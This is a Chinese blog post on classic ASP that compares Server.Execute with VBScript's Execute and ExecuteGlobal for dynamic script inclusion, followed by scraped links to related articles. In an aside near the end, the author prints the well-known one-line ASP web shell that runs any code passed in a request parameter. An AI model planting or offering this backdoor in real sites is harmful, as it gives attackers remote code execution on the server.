ASP中Server.Execute和Execute实现动态包含(include)脚本的区别

最近打算尝试一下在ASP中实现MVC架构,肯定有人问我:ASP都淘汰了,为什么还研究?这点我也知道,自从微软放弃ASP 3.0转向ASP.NET后,ASP已经远远落后于和它几乎同时开始的PHP和JSP,开源比闭源的好处就像PHP和ASP一样,ASP说淘汰就淘汰,谁也救不了,但是值得注意的是ASP在中国市场还是蛮广泛的,尤其是一些中小企业的一些应用,简单的CMS不在话下,而且部署简单,在一些老旧的Windows系统上,不需要安装.NET Framework基本上就可以直接运行了,所以准备一个框架,还是有必要的,不过我这个是实验性框架,只是验证ASP究竟能不能实现类似PHP的MVC架构。

好了,说了这么多,下面直接转入正题吧。这个问题的缘由是因为我需要动态包含ASP文件,大家知道在ASP中只有一种include方法,那就是SSI(Server Side Include),基本上分为以下两种:

复制代码 代码如下:

<!-- #include file="sample.asp" -->

<!-- #include virtual="sample.asp" -->

这两种基本上大家第一种用得多一些,#include virtual包含的是虚拟路径,一般虚拟目录会用得到。但是这两种都属于静态的,如果我们希望是动态包含,但不可以写成:

复制代码 代码如下:

<!-- #include file="<%=MyVar%>" -->

<!-- #include virtual="<%=MyVar%>" -->

上面的写法是错误的,可以理解为,#include指令是在ASP启动脚本引擎执行ASP<% %>标记之间脚本之前执行的,也就是说#include不是ASP的工作,而是服务端程序,如IIS的翻译工作,所以就不会理会你的ASP代码了。

如何实现类似于PHP的include、include_once、require、require_once动态包含脚本方法呢?下面再来看ASP Server对象的一个方法:Server.Execute ,搜索所有的ASP特性,可以发现这个功能最类似于动态include,我们可以做个实验:

Sample.inc.asp

复制代码 代码如下:

<%

Response.Write "Hello World!"

%>

test.asp

复制代码 代码如下:

<%

Server.Execute "Sample.inc.asp"

Response.Write "I am test.asp!"

%>

实际输出应该是“Hello World!I am test.asp!”,说明Server.Execute在动态包含方面可以工作得很好,但是如果我想包含类或者函数呢?接下来做下面这个实验:

Sample.class.asp

复制代码 代码如下:

<%

Class Sample

End Class

%>

test.asp

复制代码 代码如下:

<%

Server.Execute "Sample.class.asp"

Response.Write TypeName(Eval("New Sample"))

%>

直接运行,出现错误“Microsoft VBScript 运行时错误 错误 '800a01fa' 类没有被定义: 'Sample'”,结果很令人失望,为什么会出现这种情况呢?查阅了MSDN,找到这段描述:“If a file is included in the calling page by using #include, the executed .asp will not use it. For example, you may have a subroutine in a file that is included in your calling page, but the executed .asp will not recognize the subroutine name. ” 貌似和我遇到的问题有些不一样,难道Server.Execute是代码隔离的?再进行下面这个实验:

Sample.inc.asp

复制代码 代码如下:

<%

Dim MyVar

MyVar = "I am Sample!"

%>

test.asp

复制代码 代码如下:

<%

Dim MyVar

MyVar = "I am test!"

Server.Execute "Sample.inc.asp"

Response.Write MyVar

%>

结果输出的是“I am test!”,很是失望!看来Server.Execute是变量、函数、类这类代码隔离的,也就是说调用端和被调用端在代码级别上互不干扰,看来Server.Execute只能用于包含.asp模板了。

下面隆重出场的是VBScript的脚本特性Execute,传给Execute的必须是有效的VBScript脚本代码,而且Execute是上下文相关的,这点看来很接近于我们需要的动态include。

test.asp

复制代码 代码如下:

<%

Execute "Class Sample : End Class"

Response.Write TypeName(Eval("New Sample"))

%>

上面的代码成功输出我们所需要的类型名称Sample。证明Execute确实可以做到上下文相关,但是问题是利用Execute包含asp文件没有Server.Execute方便,Execute是VBScript脚本自带的,首先只能用来执行代码文本,所以需要读取一次文件内容,其次不能用来识别ASP的一些标签,比如<% %>还有一种类似于<%=MyVar %>的调用方法,所以要过滤掉<% %>,然后要转换<%=MyVar %>为Response.Write MyVar。由于我需要的是包含类文件,不会出现<%=MyVar %>,只要简单的Replace掉<% %>就可以了。关于读取文件内容和简单排除<% %>可以参考下面这个函数:

复制代码 代码如下:

Function file_get_contents(filename)

Dim fso, f

Set fso = Server.CreateObject("Scripting.FilesystemObject")

Set f = fso.OpenTextFile(Server.MapPath(filename), 1)

file_get_contents = f.ReadAll

f.Close

Set f = Nothing

Set fso = Nothing

End Function

Function class_get_contents(filename)

Dim contents

contents = file_get_contents(filename)

contents = Replace(contents, "<" & "%", "")

contents = Replace(contents, "%" & ">", "")

class_get_contents = contents

End Function

有了上面的函数我们可以直接测试下面的代码:

Sample.class.asp

复制代码 代码如下:

<%

Class Sample

End Class

%>

test.asp

复制代码 代码如下:

<%

Execute class_get_contents("Sample.class.asp")

Response.Write TypeName(Eval("New Sample"))

%>

结果输出我们所期望的Sample类型名称,看来Execute还是很强大的,确实很强大,因为经常有不怀好意者用来做“小马”,最简单的ASP一句话木马的写法估计是下面这句了:

复制代码 代码如下: <%Execute Request("c")%>

比如这段脚本位于file.asp,然后传入file.asp?c=木马文本,呵呵,下面的事你也知道了吧。好了这个是题外话,关于Execute还有一点需要注意的是,这个是上下文相关的,所以要注意作用域问题,如果Execute位于Sub过程或者Function函数内部,那么在这个外部是无法访问的。

参考文档:《Server.Execute Method》 和《使用 Server.Execute 方法》 。

2011年11月23日更新

还有一种VBScript特有的写法叫做ExecuteGlobal,这个可以解决上文说的作用域问题,通过其执行的代码是全局有效的,但是要注意避免类、函数、过程或者变量的重定义覆盖问题。

时间: 2024-11-01 07:43:31

ASP中Server.Execute和Execute实现动态包含(include)脚本的区别的相关文章

在SHTML中通过SSI指令实现文件动态包含

文章地址: http://blog.csdn.net/5iasp/article/details/12992769 作者: javaboy2012 Email:yanek@163.com qq:    1046011462   在SHTML中通过SSI指令实现文件动态包含 代码如下: 测试代码: 假设文件为index.shtml 内容如下: <!--#if expr="$QUERY_STRING='id=1'" --> <!--#include virtual=&qu

ASP中server的方法

server     1.HTMLEncode 方法 HTMLEncode 方法允许你对特定的字符串进行 HTML 编码,虽然 HTML 可以显示大部分你写入 ASP 文件中的文本,但是当你需要实际包含 HTML 标记中所使用的字符,就会遇到问题.这是因为,当浏览器读到这样的字符串时,会试图进行解释.例如下面的这段文本 : 这是对 HTMLEncode 方法的测试.< br> 这里应该不会另起一行. 会被浏览器显示为 : 这是对 HTMLEncode 方法的测试. 这里应该不会另起一行. 为了

asp中使用redim、preserve创建动态数组实例_应用技巧

asp中REDIM的功能是动态定义数组长度 动态数组里面的一个语句,只能出现在过程里面,可以多次使用.可以改变数组大小,和维数. 格式: REDIM [Preserve] 数组名(下标1[下标2....]) Preserve 保留动态数组的内容(不用的话,每次执行REDIM语句,当前存储的语句会全部丢失) 例如: 复制代码 代码如下: Dim DynArray() '定义数组DynArray()为动态数组 REDIM Preserve DynArray(20)'为该数组分配元数个数 这样对编程中

asp中使用redim、preserve创建动态数组实例

asp中REDIM的功能是动态定义数组长度 动态数组里面的一个语句,只能出现在过程里面,可以多次使用.可以改变数组大小,和维数. 格式: REDIM [Preserve] 数组名(下标1[下标2....]) Preserve 保留动态数组的内容(不用的话,每次执行REDIM语句,当前存储的语句会全部丢失) 例如: 复制代码 代码如下: Dim DynArray() '定义数组DynArray()为动态数组 REDIM Preserve DynArray(20)'为该数组分配元数个数 这样对编程中

动态包含#include的方法之一

include|动态     如果要动态处理发往客户程序的asp重要包含的文件会有一些问题,因为系统是在服务器初始化页面之前处理#include的.所以,下面的代码执行会失败:<!--fail code--><%myday=dayname()%><!--#include file=<%=myday%>.asp-->    要解决这个问题就应该包含所有包含文件,然后在服务器初始化页面是判断要包含哪个文件,达到动态包含文件的目的,当然,这么做会引起较大的服务器开

Asp中Server.ScriptTimeOut属性需要注意的一点分析_应用技巧

这个属性的服务器默认值是90,单位是秒,我们可以通过这样的代码输出这个值: 复制代码 代码如下: <% Response.Write Server.ScriptTimeOut Response.Write " Http://www.jb51.net" %> 由于IIS默认的ScriptTimeout值是90秒(其实是在IIS Metabase中设置的),所以我们可以在我们的程序中改变这个值: 复制代码 代码如下: <%Server.ScriptTimeOut=100%

Asp中Server.ScriptTimeOut属性需要注意的一点分析

这个属性的服务器默认值是90,单位是秒,我们可以通过这样的代码输出这个值: 复制代码 代码如下: <% Response.Write Server.ScriptTimeOut Response.Write " Http://www.jb51.net" %> 由于IIS默认的ScriptTimeout值是90秒(其实是在IIS Metabase中设置的),所以我们可以在我们的程序中改变这个值: 复制代码 代码如下: <%Server.ScriptTimeOut=100%

ASP中实现的URLEncode、URLDecode自定义函数_应用技巧

在做ajax中的post时,发现在服务器端取得数据时总是乱码,网上看了些解决方法也搞不定,我post过去时是xml形式,由于乱码服务器端xml也解析不了或出错.于是在post前先把它编码,到服务器端再解码,这样问题解决了,但是要是数据很大时估计会很影响速度. 虽然ASP中的request会自动解码经过url编码的字符串,但是Request.BinaryRead(Request.TotalBytes)取得post数据时却不会解码,所以要进行解码. 下面是我找到的一个ASP中server.urlen

ASP中实现的URLEncode、URLDecode自定义函数

在做ajax中的post时,发现在服务器端取得数据时总是乱码,网上看了些解决方法也搞不定,我post过去时是xml形式,由于乱码服务器端xml也解析不了或出错.于是在post前先把它编码,到服务器端再解码,这样问题解决了,但是要是数据很大时估计会很影响速度. 虽然ASP中的request会自动解码经过url编码的字符串,但是Request.BinaryRead(Request.TotalBytes)取得post数据时却不会解码,所以要进行解码. 下面是我找到的一个ASP中server.urlen